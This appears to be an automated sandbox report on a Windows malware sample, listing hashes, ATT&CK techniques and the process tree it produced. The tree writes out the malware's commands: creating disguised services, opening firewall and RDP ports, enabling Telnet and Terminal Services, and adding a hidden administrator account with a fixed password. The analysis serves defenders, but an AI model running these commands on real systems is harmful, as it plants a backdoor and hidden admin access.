331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894

General

Target

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Size

1.2MB
MD5

e3a04b3afb014a8d3a221873d65de82e
SHA1

f33468a5614b981052212bdf9a2060eb54b9e52b
SHA256

331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894
SHA512

4f0db7e6c49297770808844507a3ed29f326eb698f04f3175c890b55a023fd4898c808e2eb54b85951473f1997d9b27cb299cb92c96d93e782a228c044338bfb
SSDEEP

24576:Ur28+fzWEEMQsBgNIMXm8Azq1H4mHpi2Lpp6+pzzf5aZK56zOKZAqYwnkYIg:Q+1QaB8YqG+JlzkzY6kYIg

Score

9^/10

defense_evasion discovery evasion execution persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Modifies Windows Firewall 2 TTPs 7 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

2084 netsh.exe
2248 netsh.exe
1664 netsh.exe
276 netsh.exe
1940 netsh.exe
1840 netsh.exe
2852 netsh.exe

pid	process
2084	netsh.exe
2248	netsh.exe
1664	netsh.exe
276	netsh.exe
1940	netsh.exe
1840	netsh.exe
2852	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

REG.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 1 IoCs

Processes:

termserv.exe

pid process

3060 termserv.exe
Loads dropped DLL 2 IoCs

Processes:

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

pid process

2368 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
2368 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

pid	process
3060	termserv.exe

pid	process
2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

Processes:

REG.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0"	REG.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2104 sc.exe
584 sc.exe
2808 sc.exe
2668 sc.exe
1148 sc.exe
2356 sc.exe
3044 sc.exe
1988 sc.exe
2928 sc.exe
1528 sc.exe

pid	process
2104	sc.exe
584	sc.exe
2808	sc.exe
2668	sc.exe
1148	sc.exe
2356	sc.exe
3044	sc.exe
1988	sc.exe
2928	sc.exe
1528	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

taskkill.exenetsh.exetermserv.exesc.exenet.exee3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exenet.exenet.exeREG.exenetsh.exenetsh.exeREG.exenet1.exenet1.exeREG.exenet1.exesc.execmd.exesc.exeREG.exenetsh.exesc.exesc.exesc.exenet.exenet1.exenet1.exenet.exenet.exesc.exectfmon.exenetsh.exenetsh.exenetsh.exeREG.exesc.exenet1.exenet1.exesc.exesc.exeREG.exenet.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	termserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2760 taskkill.exe
Runs net.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 2368 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Token: SeDebugPrivilege 2760 taskkill.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

termserv.exe

pid process

3060 termserv.exe
3060 termserv.exe

pid	process
2760	taskkill.exe

description	pid	process
Token: SeDebugPrivilege	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Token: SeDebugPrivilege	2760	taskkill.exe

pid	process
3060	termserv.exe
3060	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.execmd.exe

description	pid	process	target process
PID 2368 wrote to memory of 2356	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2356	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2356	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2356	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2104	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2104	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2104	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2104	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 584	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 584	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 584	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 584	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2808	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2808	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2808	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2808	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2760	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 2368 wrote to memory of 2760	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 2368 wrote to memory of 2760	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 2368 wrote to memory of 2760	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 2368 wrote to memory of 2776	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 2368 wrote to memory of 2776	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 2368 wrote to memory of 2776	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 2368 wrote to memory of 2776	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 2368 wrote to memory of 2668	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2668	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2668	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2668	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2776 wrote to memory of 2684	2776	cmd.exe	ctfmon.exe
PID 2776 wrote to memory of 2684	2776	cmd.exe	ctfmon.exe
PID 2776 wrote to memory of 2684	2776	cmd.exe	ctfmon.exe
PID 2776 wrote to memory of 2684	2776	cmd.exe	ctfmon.exe
PID 2368 wrote to memory of 3044	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 3044	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 3044	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 3044	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2248	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 2248	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 2248	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 2248	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 1988	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 1988	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 1988	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 1988	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 2368 wrote to memory of 2576	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 2576	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 2576	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 2576	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1220	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1220	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1220	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1220	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1924	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1924	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1924	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1924	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 2368 wrote to memory of 1664	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 1664	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 1664	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 1664	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 276	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 276	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 276	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 2368 wrote to memory of 276	2368	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368

C:\Windows\SysWOW64\sc.exe
sc stop "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2356

C:\Windows\SysWOW64\sc.exe
sc delete "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2104

C:\Windows\SysWOW64\sc.exe
sc stop "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:584

C:\Windows\SysWOW64\sc.exe
sc delete "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2808

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ctfmon.exe
2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ctfmon.exe
2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\SysWOW64\ctfmon.exe
ctfmon.exe
3⤵
- System Location Discovery: System Language Discovery
PID:2684

C:\Windows\SysWOW64\sc.exe
sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2668

C:\Windows\SysWOW64\sc.exe
sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3044

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2248

C:\Windows\SysWOW64\sc.exe
sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1988

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
2⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
PID:2576

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1220

C:\Windows\SysWOW64\REG.exe
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1924

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1664

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram ctfmon.exe ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:276

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 3389 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1940

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 31337 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1840

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 80 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2852

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 8080 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2084

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3060

C:\Windows\SysWOW64\sc.exe
sc start mnmsrvc
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2928

C:\Windows\SysWOW64\sc.exe
sc Start TlntSvr
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1148

C:\Windows\SysWOW64\sc.exe
sc Start TermService
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1528

C:\Windows\SysWOW64\net.exe
net start FastUserSwitchingCompatibility
2⤵
- System Location Discovery: System Language Discovery
PID:1860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start FastUserSwitchingCompatibility
3⤵
- System Location Discovery: System Language Discovery
PID:2552

C:\Windows\SysWOW64\net.exe
net start TermService
2⤵
- System Location Discovery: System Language Discovery
PID:2024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
3⤵
- System Location Discovery: System Language Discovery
PID:2924

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:2432

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1008

C:\Windows\SysWOW64\net.exe
net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
2⤵
- System Location Discovery: System Language Discovery
PID:900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
3⤵
- System Location Discovery: System Language Discovery
PID:1112

C:\Windows\SysWOW64\net.exe
net localgroup Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:2476

C:\Windows\SysWOW64\net.exe
net localgroup Àäìèíèñòðàòîðû Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:1568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:1848

C:\Windows\SysWOW64\net.exe
net localgroup Administrators Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:988

C:\Windows\SysWOW64\net.exe
net accounts /maxpwage:unlimited
2⤵
- System Location Discovery: System Language Discovery
PID:664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /maxpwage:unlimited
3⤵
- System Location Discovery: System Language Discovery
PID:3016

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
2⤵
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2

T1569

Service Execution

2

T1569.002

Persistence

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Hide Artifacts

1

T1564

Hidden Users

1

T1564.002

Impair Defenses

2

T1562

Disable or Modify System Firewall

Modify Registry

Credential Access

Discovery

Password Policy Discovery

1

T1201

Permission Groups Discovery

1

T1069

Local Groups

1

T1069.001

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

Filesize
85KB

MD5
e0b8d7ad878eff7bdfba66d17665eb58

SHA1
ec4ab8ed9ca2ad06749851a76451108b4c608eba

SHA256
779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952

SHA512
17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

Filesize
44KB

MD5
